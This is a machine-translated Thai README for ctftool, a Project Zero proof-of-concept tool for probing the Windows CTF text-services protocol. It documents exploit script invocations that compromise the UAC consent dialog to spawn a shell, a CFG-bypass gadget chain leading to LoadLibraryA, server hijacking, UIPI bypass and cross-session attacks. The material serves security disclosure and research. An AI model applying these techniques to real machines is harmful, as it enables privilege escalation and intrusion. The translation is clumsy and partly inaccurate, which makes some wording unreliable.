แค่ต้องการทดสอบการใช้ประโยชน์จากระบบ? คลิกที่นี่

นี่คือ ctftool เครื่องมือบรรทัดคำสั่งแบบโต้ตอบเพื่อทดสอบกับ CTF ซึ่งเป็นโปรโตคอลที่รู้จักกันน้อยที่ใช้กับ Windows เพื่อใช้บริการข้อความ สิ่งนี้อาจเป็นประโยชน์สำหรับการศึกษา Windows Internals การดีบักปัญหาที่ซับซ้อนด้วยโปรเซสเซอร์อินพุตข้อความและการวิเคราะห์ความปลอดภัยของ Windows
เป็นไปได้ที่จะเขียนสคริปต์อย่างง่ายด้วย ctftool สำหรับการโต้ตอบโดยอัตโนมัติกับไคลเอนต์ CTF หรือเซิร์ฟเวอร์หรือดำเนินการฟัซซิ่งง่าย ๆ
มีโพสต์บล็อกที่มาพร้อมกับการเปิดตัวเครื่องมือนี้ที่นี่
https://googleprojectzero.blogspot.com/2019/08/Down-Rabbit-hole.html
ctftool ได้รับการทดสอบบน Windows 7, Windows 8 และ Windows 10 ทั้งรุ่น 32 บิตและ X64 ได้รับการสนับสนุน แต่ X64 ได้รับการทดสอบอย่างกว้างขวางมากขึ้น
มีความช่วยเหลือออนไลน์สำหรับคำสั่งส่วนใหญ่เพียงแค่พิมพ์ help เพื่อดูรายการคำสั่งและ help <command> เพื่อดูความช่วยเหลือโดยละเอียดสำหรับคำสั่งเฉพาะ
$ ./ctftool.exe
An interactive ctf exploration tool by @taviso.
Type "help" for available commands.
Most commands require a connection, see "help connect".
ctf> help
Type `help <command>` for help with a specific command.
Any line beginning with # is considered a comment.
help - List available commands.
exit - Exit the shell.
connect - Connect to CTF ALPC Port.
info - Query server informaiton.
scan - Enumerate connected clients.
callstub - Ask a client to invoke a function.
createstub - Ask a client to instantiate CLSID.
hijack - Attempt to hijack an ALPC server path.
sendinput - Send keystrokes to thread.
setarg - Marshal a parameter.
getarg - Unmarshal a parameter.
wait - Wait for a process and set it as the default thread.
thread - Set the default thread.
sleep - Sleep for specified milliseconds.
forget - Forget all known stubs.
stack - Print the last leaked stack ptr.
marshal - Send command with marshalled parameters.
proxy - Send command with proxy parameters.
call - Send command without appended data.
window - Create and register a message window.
patch - Patch a marshalled parameter.
module - Print the base address of a module.
module64 - Print the base address of a 64bit module.
editarg - Change the type of a marshalled parameter.
symbol - Lookup a symbol offset from ImageBase.
set - Change or dump various ctftool parameters.
show - Show the value of special variables you can use.
lock - Lock the workstation, switch to Winlogon desktop.
repeat - Repeat a command multiple times.
run - Run a command.
script - Source a script file.
print - Print a string.
consent - Invoke the UAC consent dialog.
reg - Lookup a DWORD in the registry.
gadget - Find the offset of a pattern in a file.
section - Lookup property of PE section.
Most commands require a connection, see "help connect".
ctf>
สิ่งแรกที่คุณจะต้องทำคือเชื่อมต่อกับเซสชันและดูว่าไคลเอนต์เชื่อมต่อกัน
ctf> connect
The ctf server port is located at BaseNamedObjectsmsctf.serverDefault1
NtAlpcConnectPort("BaseNamedObjectsmsctf.serverDefault1") => 0
Connected to CTF [email protected], Handle 00000264
ctf> scan
Client 0, Tid 3400 (Flags 0x08, Hwnd 00000D48, Pid 8696, explorer.exe)
Client 1, Tid 7692 (Flags 0x08, Hwnd 00001E0C, Pid 8696, explorer.exe)
Client 2, Tid 9424 (Flags 0x0c, Hwnd 000024D0, Pid 9344, SearchUI.exe)
Client 3, Tid 12068 (Flags 0x08, Hwnd 00002F24, Pid 12156, PROCEXP64.exe)
Client 4, Tid 9740 (Flags 0000, Hwnd 0000260C, Pid 3840, ctfmon.exe)
จากนั้นคุณสามารถทดลองได้โดยการส่งและรับคำสั่งไปยังเซิร์ฟเวอร์หรือไคลเอนต์ที่เชื่อมต่อใด ๆ
หากคุณไม่ต้องการสร้างด้วยตัวเองให้ตรวจสอบแท็บรีลีส
ฉันใช้ GNU Make and Visual Studio 2019 เพื่อพัฒนา ctftool รองรับการสร้างเพียง 32 บิตเท่านั้นเนื่องจากช่วยให้เครื่องมือทำงานบนหน้าต่าง x86 และ x64
หากติดตั้งการพึ่งพาทั้งหมดเพียงแค่ make ในพรอมต์คำสั่งนักพัฒนาควรจะเพียงพอ
ฉันใช้ตัวแปร "Build Tools" ของ Visual Studio และส่วนประกอบเดียวที่ฉันเลือกคือ MSVC, MSBUILD, CMAKE และ SDK
โครงการนี้ใช้ submodules สำหรับการพึ่งพาบางส่วนตรวจสอบให้แน่ใจว่าคุณใช้คำสั่งเช่นนี้เพื่อดึงรหัสที่ต้องการทั้งหมด
git submodule update --init --recursive
ตัวอย่างทำงานเฉพาะบน Windows 10 x64 แพลตฟอร์มและเวอร์ชันทั้งหมดเนื่องจาก Windows XP ได้รับผลกระทบ แต่ปัจจุบันไม่มีการใช้ POC
เครื่องมือนี้ใช้เพื่อค้นหาปัญหาความปลอดภัยที่สำคัญมากมายด้วยโปรโตคอล CTF ที่มีมานานหลายทศวรรษ
หากคุณต้องการทดสอบการหาประโยชน์บน Windows 10 x64 1903 ให้เรียกใช้หรือดับเบิลคลิก ctftool.exe และป้อนคำสั่งนี้:
An interactive ctf exploration tool by @taviso.
Type "help" for available commands.
Most commands require a connection, see "help connect".
ctf> script .scriptsctf-consent-system.ctf
สิ่งนี้จะรอให้กล่องโต้ตอบ UAC ปรากฏขึ้นประนีประนอมและเริ่มเชลล์
ในความเป็นจริงรหัสการหาประโยชน์ถูกแบ่งออกเป็นสองขั้นตอนที่คุณสามารถใช้อย่างอิสระ ตัวอย่างเช่นคุณอาจต้องการประนีประนอมกระบวนการที่เป็นของผู้ใช้ในเซสชันอื่นโดยใช้พารามิเตอร์เสริมเพื่อ connect
ไคลเอนต์ CTF ส่วนใหญ่สามารถบุกรุกได้เนื่องจากเคอร์เนลบังคับแอปพลิเคชันที่ดึง Windows เพื่อโหลดไลบรารีที่มีช่องโหว่
เพียงเชื่อมต่อกับเซสชันเลือกไคลเอนต์เพื่อประนีประนอม (ใช้คำสั่ง scan และ thread หรือเพียงแค่ wait ) จากนั้น:
ctf> script .scriptsctf-exploit-common-win10.ctf
การสร้างห่วงโซ่กระโดด CFG ที่ทำงานกับลูกค้า CTF ส่วนใหญ่นั้นค่อนข้างท้าทาย มีสององค์ประกอบหลักในการหาประโยชน์ขั้นสุดท้ายคือการเขียนแบบดั้งเดิมโดยพลการแล้วตั้งค่าการลงทะเบียนของเราเพื่อเรียก LoadLibrary()
คุณสามารถใช้
dumpbin /headers /loadconfigเพื่อทิ้งเป้าหมายสาขาที่ได้รับการอนุญาต
ฉันต้องการอุปกรณ์เขียนโดยพลการเพื่อสร้างวัตถุในตำแหน่งที่คาดการณ์ได้ แกดเจ็ตที่ใช้งานได้ดีที่สุดที่ฉันสามารถค้นหาได้คือการลดลงของ DWORD โดยพลการใน msvcrt!_init_time
ซึ่งหมายความว่าแทนที่จะเพียงแค่ตั้งค่าที่เราต้องการเราต้องลดลงเรื่อย ๆ จนกว่า LSB จะถึงค่าที่เราต้องการ นี่เป็นงานจำนวนมาก แต่เราไม่ต้องทำมากกว่า (2^8 - 1) * len

ด้วยการใช้แบบดั้งเดิมนี้ฉันสร้างวัตถุเช่นนี้ในพื้นที่หย่อนที่ไม่ได้ใช้ในเคอร์เนล 32 ส่วน .data มันจะต้องเป็นส่วนหนึ่งของภาพเพื่อให้ฉันสามารถทำนายได้ว่าจะแมปที่ไหนเนื่องจากการสุ่มของภาพเป็นต่อการบูตบนหน้าต่าง

มีแกดเจ็ตเขียนโดยพลการจำนวนมากปัญหาคือการควบคุมการดำเนินการ หลังจาก การเขียน สิ่งนี้พิสูจน์แล้วว่าค่อนข้างท้าทายและนั่นคือเหตุผลที่ฉันติดอยู่กับการลดลงของ DWORD แทนที่จะเป็นสิ่งที่ง่ายกว่า
MSCTF จับข้อยกเว้นทั้งหมดดังนั้นความท้าทายคือการค้นหาการเขียนโดยพลการซึ่งไม่ได้ทำให้สแต็คยุ่งเหยิงเพื่อให้ SEH รอดชีวิตมาได้หรือล้มเหลวอย่างรวดเร็วโดยไม่ต้องทำอะไรเลย
Gadget msvcrt!_init_time เป็นสิ่งที่ดีที่สุดที่ฉันสามารถหาได้ภายในคำแนะนำไม่กี่คำว่าเป็นโมฆะโดยไม่ทำให้หน่วยความจำเสียหายอีกต่อไป ซึ่งหมายความว่าเราสามารถทำซ้ำโฆษณา Infinitum
ฉันพบแกดเจ็ตที่มีประโยชน์สองตัวสำหรับการปรับทะเบียนครั้งแรกคือ:
combase!CStdProxyBuffer_CF_AddRef:
mov rcx,qword ptr [rcx-38h]
mov rax,qword ptr [rcx]
mov rax,qword ptr [rax+8]
jmp qword ptr [combase!__guard_dispatch_icall_fptr]
และที่สองคือ:
MSCTF!CCompartmentEventSink::OnChange:
mov rax,qword ptr [rcx+30h]
mov rcx,qword ptr [rcx+38h]
jmp qword ptr [MSCTF!_guard_dispatch_icall_fptr]
ด้วยการรวมแกดเจ็ตทั้งสองนี้เข้ากับวัตถุที่เราสร้างขึ้นด้วยอุปกรณ์เขียนของเราเราสามารถเปลี่ยนเส้นทางการดำเนินการไปยัง kernel32!LoadLibraryA โดยการตีกลับระหว่างพวกเขา
สิ่งนี้ซับซ้อน แต่ลำดับการกระโดดได้ผลเช่นนี้:

หากคุณสนใจฉันแนะนำให้ดูในตัวดีบักเกอร์ โปรดทราบว่าคุณจะต้องใช้คำสั่ง sxd av และ sxd bpe หรือดีบักเกอร์จะหยุดทุกการเขียน!
นอกเหนือจากการทุจริตของหน่วยความจำแล้วคลาสช่องโหว่ที่สำคัญที่เปิดเผยโดย CTF คือ การแก้ไขการโจมตีเซสชัน โดยปกติกระบวนการที่ไม่ได้รับสิทธิ (ตัวอย่างเช่นความสมบูรณ์ต่ำ) จะไม่ได้รับอนุญาตให้ส่งอินพุตหรืออ่านข้อมูลจากกระบวนการที่มีสิทธิพิเศษสูง ขอบเขตความปลอดภัยนี้เรียกว่า UIPI การแยกสิทธิ์ส่วนต่อประสานผู้ใช้
CTF แบ่งสมมติฐานเหล่านี้และอนุญาตให้กระบวนการที่ไม่มีสิทธิ์ส่งอินพุตไปยังกระบวนการที่ได้รับการยกเว้น
มีข้อกำหนดบางประการสำหรับการโจมตีนี้ในการทำงานเท่าที่ฉันทราบว่ามันจะทำงานได้ก็ต่อเมื่อคุณมีภาษาที่แสดงที่ติดตั้งซึ่งใช้เคล็ดลับ OOP และ โปรเซสเซอร์อินพุตข้อความนอกกระบวนการ ผู้ใช้ที่มีภาษาอินพุตที่ใช้ IMES (จีนญี่ปุ่นเกาหลีและอื่น ๆ ) และผู้ใช้ที่มีเครื่องมือ A11Y ตกอยู่ในหมวดหมู่นี้
ตัวอย่างการโจมตีรวมถึง ...
มีตัวอย่างสคริปต์ในไดเรกทอรีสคริปต์ที่จะส่งอินพุตไปยังหน้าต่าง Notepad เพื่อแสดงให้เห็นว่าการแก้ไขเซสชันทำงานอย่างไร

เนื่องจากไม่มีการรับรองความถูกต้องระหว่างลูกค้าและเซิร์ฟเวอร์ในโปรโตคอล CTF ผู้โจมตีที่มีสิทธิ์ที่จำเป็นในการเขียนถึง BaseNamedObjects สามารถสร้างพอร์ต CTF ALPC และแกล้งทำเป็นจอภาพ
สิ่งนี้จะช่วยให้สามารถข้ามข้อ จำกัด ใด ๆ และทั้งหมดได้
หากคุณต้องการทดลองใช้การโจมตีครั้งนี้ลองใช้คำสั่ง hijack ใน ctftool
An interactive ctf exploration tool by @taviso.
Type "help" for available commands.
ctf> hijack Default 1
NtAlpcCreatePort("BaseNamedObjectsmsctf.serverDefault1") => 0 00000218
NtAlpcSendWaitReceivePort("BaseNamedObjectsmsctf.serverDefault1") => 0 00000218
000000: 18 00 30 00 0a 20 00 00 00 11 00 00 44 11 00 00 ..0.. ......D...
000010: a4 86 00 00 b7 66 b8 00 00 11 00 00 44 11 00 00 .....f......D...
000020: e7 12 01 00 0c 00 00 00 80 01 02 00 20 10 d6 05 ............ ...
A a message received
ProcessID: 4352, SearchUI.exe
ThreadId: 4420
WindowID: 00020180
NtAlpcSendWaitReceivePort("BaseNamedObjectsmsctf.serverDefault1") => 0 00000218
000000: 18 00 30 00 0a 20 00 00 ac 0f 00 00 0c 03 00 00 ..0.. ..........
000010: ec 79 00 00 fa 66 b8 00 ac 0f 00 00 0c 03 00 00 .y...f..........
000020: 12 04 01 00 08 00 00 00 10 01 01 00 00 00 00 00 ................
A a message received
ProcessID: 4012, explorer.exe
ThreadId: 780
WindowID: 00010110
NtAlpcSendWaitReceivePort("BaseNamedObjectsmsctf.serverDefault1") => 0 00000218
000000: 18 00 30 00 0a 20 00 00 ac 0f 00 00 0c 03 00 00 ..0.. ..........
000010: fc 8a 00 00 2a 67 b8 00 ac 0f 00 00 0c 03 00 00 ....*g..........
000020: 12 04 01 00 08 00 00 00 10 01 01 00 58 00 00 00 ............X...
A a message received
ProcessID: 4012, explorer.exe
ThreadId: 780
...
ไม่มีการแยกเซสชันในโปรโตคอล CTF กระบวนการใด ๆ สามารถเชื่อมต่อกับเซิร์ฟเวอร์ CTF ใด ๆ ตัวอย่างเช่นผู้ใช้บริการเทอร์มินัลสามารถโต้ตอบกับกระบวนการของผู้ใช้รายอื่นแม้แต่ผู้ดูแลระบบ
คำสั่ง connect ใน ctftool รองรับการเชื่อมต่อกับเซสชันที่ไม่ได้รับการป้องกันหากคุณต้องการทดลองกับการโจมตีนี้
An interactive ctf exploration tool by @taviso.
Type "help" for available commands.
Most commands require a connection, see "help connect".
ctf> help connect
Connect to CTF ALPC Port.
Usage: connect [DESKTOPNAME SESSIONID]
Without any parameters, connect to the ctf monitor for the current
desktop and session. All subsequent commands will use this connection
for communicating with the ctf monitor.
If a connection is already open, the existing connection is closed first.
If DESKTOPNAME and SESSIONID are specified, a connection to ctf monitor
for another desktop and session are opened, if it exists.
If the specified port does not exist, wait until it does exist. This is
so that you can wait for a session that hasn't started
yet in a script.
Examples
Connect to the monitor for current desktop
ctf> connect
Connect to a specific desktop and session.
ctf> connect Default 1
Most commands require a connection, see "help connect".
ในช่วงเวลาของการเขียนไม่ทราบว่า Microsoft จะเปลี่ยนโปรโตคอล CTF เพื่อตอบสนองต่อข้อบกพร่องในการออกแบบจำนวนมากเครื่องมือนี้ช่วยเปิดเผยได้อย่างไร
ด้วยเหตุผลดังกล่าวให้พิจารณาเครื่องมือนี้ว่าอยู่ในสถานะพิสูจน์แนวคิด
Windows ทุกรุ่นตั้งแต่ Windows XP ใช้ CTF บนแพลตฟอร์มที่รองรับทั้งหมด
ในขณะที่ไม่ได้เป็นส่วนหนึ่งของระบบฐานจนถึง XP รุ่นเร็วที่สุดเท่าที่ Windows 98 และ NT4 จะใช้ CTF หากคุณติดตั้ง Microsoft Office
ctftool รองรับ Windows 7 และต่อมาใน X86 และ X64 แต่รุ่นก่อนหน้าและแพลตฟอร์มอื่น ๆ สามารถ รองรับได้และจะได้รับการชื่นชม
Microsoft ไม่ได้บันทึกสิ่งที่ CTF หมายถึงมันไม่ได้อธิบายไว้ในเอกสารประกอบการบริการข้อความตัวอย่าง SDK ชื่อสัญลักษณ์ไฟล์ส่วนหัวหรือที่อื่น ๆ ทฤษฎีของฉันมาจาก CTextFramework สิ่งที่คุณอาจตั้งชื่อชั้นเรียนในสัญกรณ์ฮังการี
มีบางเว็บไซต์ที่อ้างว่า
ctfmonมีบางอย่างเกี่ยวกับแบบอักษรที่ชัดเจนหรือกรอบการแปล Azure Collaborative Translation พวกเขาเข้าใจผิด
อัปเดต: Jake Nelson ค้นหาหลักฐานสำหรับ "กรอบข้อความทั่วไป"
tavis ormandy [email protected]
รหัสต้นฉบับทั้งหมดคือ Apache 2.0 ดูไฟล์ใบอนุญาตสำหรับรายละเอียด
ส่วนประกอบต่อไปนี้จะนำเข้าโครงการบุคคลที่สาม
GetProcAddress() สำหรับโมดูล 64 บิตจากกระบวนการ 32 บิต สิ่งนี้ใช้ในคำสั่ง symbol และอนุญาตให้ไบนารีเดียวกันทำงานกับ x64 และ x86